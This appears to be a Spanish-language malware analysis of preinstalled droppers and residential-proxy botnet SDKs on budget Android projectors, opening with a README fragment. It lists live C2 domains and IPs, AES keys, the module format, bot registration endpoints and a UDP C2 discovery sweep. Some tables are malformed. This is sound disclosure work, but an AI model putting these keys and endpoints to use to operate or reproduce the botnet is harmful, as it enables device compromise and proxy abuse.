git checkout -b feature/my-feature)git commit -am 'Add some feature')git push origin feature/my-feature)This project is licensed under the MIT License - see the LICENSE file for details.
This tool is intended for educational and ethical testing purposes only. The authors are not responsible for any misuse or damage caused by this program.```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
**Lista completa de 40 URL de perfiles**
Cada uno es probablemente una familia de dispositivos víctima bajo la misma campaña:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json
Cada infos*.json enumera las apps para pm install -r (payload com.google.adtest + apps de cobertura como Disney+) como se describe en 3..
Cifrado del host C2
com.hs.p.basic.Hosts/EncryptUtils
Cada cadena de host es AES/CFB/NoPadding (clave MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708"), comprimida con gzip y luego codificada en base64:
API_MASTER_HOSTS: https://api.loritor.cc/TRACKER_SLAVE_HOSTS: https://api.loritor.cc/API_SLAVE_HOSTS: https://api.nizero.cc/TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (¿prioridad intercambiada respecto al canal API?)Tanto loritor.cc como nizero.cc parecían caídos en el momento de esta prueba.
Rutas de la API de tareas/configuración
GetTaskApi, GetConfigApi
POST <host>/0x01/ov/x1 (configuración: ventanas silenciosas, alternar registro, envío de lista de hosts, período de sondeo) y POST <host>/0x01/ov/x2 (lista de tareas: jars[]/dexs[]/apks[] paginados por cursor, cada uno con file_url/file_md5/vercode/task_id). El campo "data" del cuerpo de la respuesta se cifra de la misma manera, clave "ota.api.d3b194c07b63d688969c258719ca3f0f".
Formato del módulo .rf
Descifrando los cuatro módulos que tengo con firmas DSA válidas:
[4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].
Clave AES = MD5("968a84be78d3421d5e771147dce2b766" + salt), mismo IV fijo que arriba.
La clave pública DSA está codificada de forma fija (1024 bits, incrustada en DexManager/JarExe). El texto plano es un ZIP/APK, no un dex sin procesar.```
SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"}
SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"}
SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"}
SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}
### 9.4 com.ad.proxy
`SKN0041`
La entrada `MainApi.start_W0017` inicia el cliente `Robin`. Dos endpoints HTTP(S) sin cifrar, `channel`/`version` proporcionados por quien haya invocado el módulo:```
GET https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
# reports back which proxy gateways it reached
SKN0054
Las cadenas de dominio/IP aquí están ofuscadas: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip en la clase com.szns.sdk.t.
Se replicó el algoritmo exacto (analysis/tools/decode_szns_t.py) y se descifraron los cuatro endpoints de arranque codificados de forma fija:```
ac.a()
-> https://hgsdkszns.com
ac.b()
-> http://dporder.midrouterx.com/api/dispatch
(state 1: fetch "domain_info", cached 24h)
ac.c()
-> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico
(state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss")
ac.d()
-> 43.173.127.241:9090
(state 5: "ip_tcp_info" bootstrap)
Si no hay URL de despacho en caché (estado 7):
Barrido UDP de `43.153.12.1` - `43.153.80.100:8080`
Enviando el payload ASCII literal `"moon2"`, esperando cualquier respuesta que comience con `http`. Esta respuesta se convierte en la URL de despacho.
Cada solicitud de arranque es `POST <url>` con campos de formulario `{"operator":<c>,"c":"moon2","name":<d>}` en `com.szns.sdk.x`.
Cualquiera que sea la URL de despacho que se resuelva, se le envían por POST los mismos campos y devuelve la lista real de pasarelas, cifrada como `AES/CBC/PKCS5` (clave `"5360e2884c119aa32a767ceb1c0889b0"`, IV aleatorio, envoltura `base64(iv):base64(ciphertext)`)
Formato JSON descifrado: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.
### 9.6. com.link.core
`SKN0058 `
Pasarela única codificada de forma fija, sin capa de descubrimiento: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. Resolutores DNS utilizados para sus propias consultas: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`. Lee `/proc/cpuinfo` y `/sys/class/net/{eth0,wlan0}/address` para la huella del dispositivo.
### 9.7. ddth2 (VpsSdk)
`SKN0061`
Grupo de pasarelas codificado de forma fija, `ddth2.hidden.o`: dominios `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IPs `45.43.57.99`, `165.154.135.52`.
Un protocolo TCP binario personalizado persistente:
- conectar
- handshake `REGISTER`/`REGISTER_ACK` (cabecera de trama de 8 bytes, opcode+longitud)
- la pasarela entonces envía comandos de conexión (`{host, port}`
- filtrados contra rangos privados/loopback/multicast que generan sockets proxy por sesión, lo que explica las "muchas instancias de cliente paralelas".
### 9.8. com.google.adtest
o `com.fotas.wanapp ("com.speed")`
El nombre de paquete interno real es `com.fotas.wanapp` (clase App `com.fotas.wanapp.APP`). `onCreate()` configura tres hosts con el mismo patrón maestro/esclavo/aleatorio que `plugin.jar`:```
master -> https://api.pechlo.cc/
slave -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/
El registro del dispositivo se realiza mediante POST https://codedevapp.com/api/v1/device/dau.
Se inician dos servicios:
com.google.android.AdServicecom.google.android.BakServiceSondea de forma reflexiva e inicializa una clase opcional com.fotas.wanapp.ChannelSdkInit si está presente. Cadenas de id de la app: "wanapp", "WAN_AISHANG_001".
Comprobación de accesibilidad de solo lectura desde un host independiente (no se envió ningún protocolo/carga útil de proxy, ni se interactuó con el proyector en sí):
Opciones de desarrollador:
Deviceversion.onKeyDown (pantalla "Device info" de Ajustes) busca un código estilo Konami, Arriba Arriba Abajo Abajo Izquierda Izquierda Derecha Derecha Centro Centro, que intenta abrir las opciones de desarrollador. En mi caso no funcionó.com.konka.readmain.MainActivity, una app de prueba de fábrica del OEM no relacionada que en realidad no está instalada en esta unidad. Igual, no funcionó.```
adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion
adb shell input keyevent 19
adb shell input keyevent 19
adb shell input keyevent 20
adb shell input keyevent 20
adb shell input keyevent 21
adb shell input keyevent 21
adb shell input keyevent 22
adb shell input keyevent 22
adb shell input keyevent 23
adb shell input keyevent 23| Término | Qué hace | LAN |
|---|
NetworkInterface (adtest, plugin, SKN0061) | Lee la IP y MAC propias del dispositivo para el ID del bot | No |
DatagramSocket en SKN0041 | Retransmisión UDP para sesiones de proxy hacia el gateway | No |
DatagramSocket en SKN0054 | Descubrimiento de C2: barre 43.153.12-80.1-100:8080 (rango de nube pública) | No |
ServerSocket en plugin.jar | Servidor de retransmisión de video, ver más abajo | No |
Aciertos de Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61) | Internos de SDK de terceros, chmod 777 en archivos locales, su/pm/dumpsys para verificaciones de aplicación en primer plano o root y ping emitido por el operador en SKN0041 | Solo comando ping |
| UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/cálculo de subred, ADB 5555, telnet | ninguno | No |
systemmixservice / libsystemmixservice.so / libsystemmix_jni.so | Servicio OEM solo Binder: get/set de propiedades, lectura/escritura/eliminación de archivos sin procesar, mount/umount, logo/animación de arranque. Sin símbolo socket/bind/connect/listen/accept en ninguno de los dos binarios | No |
qw | Demonio su de Superuser/ClockworkMod. Solo rutas de socket de dominio Unix en sus cadenas (/dev/com.koushikdutta.superuser[.daemon]), sin literal de IP, sin AF_INET | No |
com.android.nfx (NFXAccessibility) | Asistente de navegación con D-pad de Netflix, activo solo mientras com.netflix.mediaclient está en primer plano. El manifiesto no tiene permiso INTERNET en absoluto | No |
| // SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only | ||
| str.equals("0.0.0.0") | str.matches("^10\..*") |
| Host | Resultado de DNS / conexión | Notas |
|---|
api.loritor.cc, api.nizero.cc | resuelve (Cloudflare), HTTP 404 en / | activo; las rutas reales son /0x01/ov/x1, /0x01/ov/x2 |
api.kookjar.com | resuelve (Cloudflare, 172.67.159.65), HTTP 204 | activo |
152.32.240.141 (fallback de depuración de SKN0041) | timeout de TCP/80 | no accesible; de todos modos es una ruta solo de depuración, producción usa api.kookjar.com |
dporder.midrouterx.com | resuelve directo (43.174.196.241, Tencent Cloud), HTTP 200 en /api/dispatch | activo |
seed-info.oss-ap-southeast-1.aliyuncs.com | resuelve (47.79.49.170, Alibaba Cloud SG), HTTP 200, sirve favorite.ico | activo |
hgsdkszns.com | resuelve (Cloudflare) | DNS activo; sonda HTTPS simple reiniciada (rama no usada en la compilación actual, ver 10.5) |
43.173.127.241:9090 | la conexión TCP en bruto tiene éxito | activo, escuchando ahora mismo |
api.eviceh.cc:16000 | resuelve (152.53.83.204) | DNS activo, TCP/16000 rechazado en el momento de la comprobación (la puerta de enlace no está escuchando actualmente) |
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52 | no se volvió a comprobar en esta pasada | ver sección 11 |
api.pechlo.cc, api.logobi.cc | resuelven (Cloudflare), HTTP 404 en / | activos |
random.vivosoc.cc | sin registro DNS | parece muerto/caducado |
codedevapp.com | resuelve (5.161.41.216, Hetzner) | activo; /api/v1/device/dau es solo POST, por lo que un GET simple aborta |
| Host / URL | Componente | Rol |
|---|
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.com | sysapp, yiyou | dominio raíz del backend del OEM |
wjtysj.ishanghd.com/hx_kt.php | sysapp (AshdSysApp) | C2 del actualizador OTA (act=project&do=getPackageInfo) |
ty.ishanghd.com/work/app/wj/factory/update.json | yiyou | puntero de autoactualización del dropper |
ty.ishanghd.com/work/app/wj/appsinfo/* (40 rutas, ver arriba) | yiyou | listas de cargas útiles/apps por familia de dispositivos (objetivos de pm install -r) |
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json | yiyou | puntero de obtención de plugin.jar |
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jar | yiyou | carga útil real de plugin.jar (ruta versionada, cambia con el tiempo) |
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zip | plugin.jar | paquete de claves/licencias DRM Widevine L3, colocado para que las apps de streaming funcionen en el dispositivo no certificado |
api.loritor.cc, api.nizero.cc | plugin.jar ("hs") | API de tareas/configuración (/0x01/ov/x1, /0x01/ov/x2), tanto como canal de API (maestro/esclavo) como canal de rastreo (esclavo/maestro intercambiados) |
api.kookjar.com (+ 152.32.240.141 de depuración) | SKN0041 | /signin, /report |
api.eviceh.cc:16000 | SKN0058 | única puerta de enlace |
hgsdkszns.com | SKN0054 | host de arranque adicional codificado de forma rígida (rama no usada en la compilación actual) |
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, alcanzado mediante el arranque OSS de abajo) | SKN0054 | arranque de despacho principal |
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico | SKN0054 | redireccionador de arranque alojado en OSS (Alibaba Cloud OSS) |
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.ico | SKN0054 | espejo de respaldo de Tencent COS de la misma configuración de arranque |
43.173.127.241:9090 | SKN0054 | host de arranque ip_tcp_info (puerto exacto confirmado, activo) |
43.135.136.224 | SKN0054 | puerta de enlace de despacho observada activa (tcp/7788 /api/dispatch, tcp/9090) |
43.159.148.198 | SKN0054 | endpoint de puerta de enlace/lista de servidores observado activo, /dp/getServer (probablemente devuelto dinámicamente dentro de la lista cifrada node[]) |
43.130.60.175 | SKN0054 | nodo de puerta de enlace proxy adicional (tcp/9090), observado activo |
43.153.12.1–43.153.80.100:8080 (UDP) | SKN0054 | barrido de descubrimiento; la carga útil de sondeo es el ASCII literal moon2 |
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52 | SKN0061 | grupo de puertas de enlace, protocolo de proxy TCP personalizado |
api.pechlo.cc, api.logobi.cc, random.vivosoc.cc | com.speed / com.fotas.wanapp | C2 maestro/esclavo/aleatorio |
codedevapp.com/api/v1/device/dau | com.speed / com.fotas.wanapp | registro del dispositivo |
live.sz-cloudmedia.com:8080/ota/ | OTA heredado (variante de sysapp más antigua/hermana) | callejón sin salida, el dominio no tiene registro ICP, Alibaba lo bloquea. |
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.com | yiyou (SDK de Umeng) | telemetría de análisis de terceros, que transporta las huellas del dispositivo (número de serie, MACs, SSID/BSSID) que recopila la app yiyou |
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.com | yiyou (SDK de Baidu Mobile Stats) | mismo rol de telemetría, a través de Baidu |
cmnsguider.yunos.com, ip.taobao.com, g3.le.com | yiyou | servicios de token de dispositivo y búsqueda de IP pública de Alibaba/Yunos usados para la toma de huellas |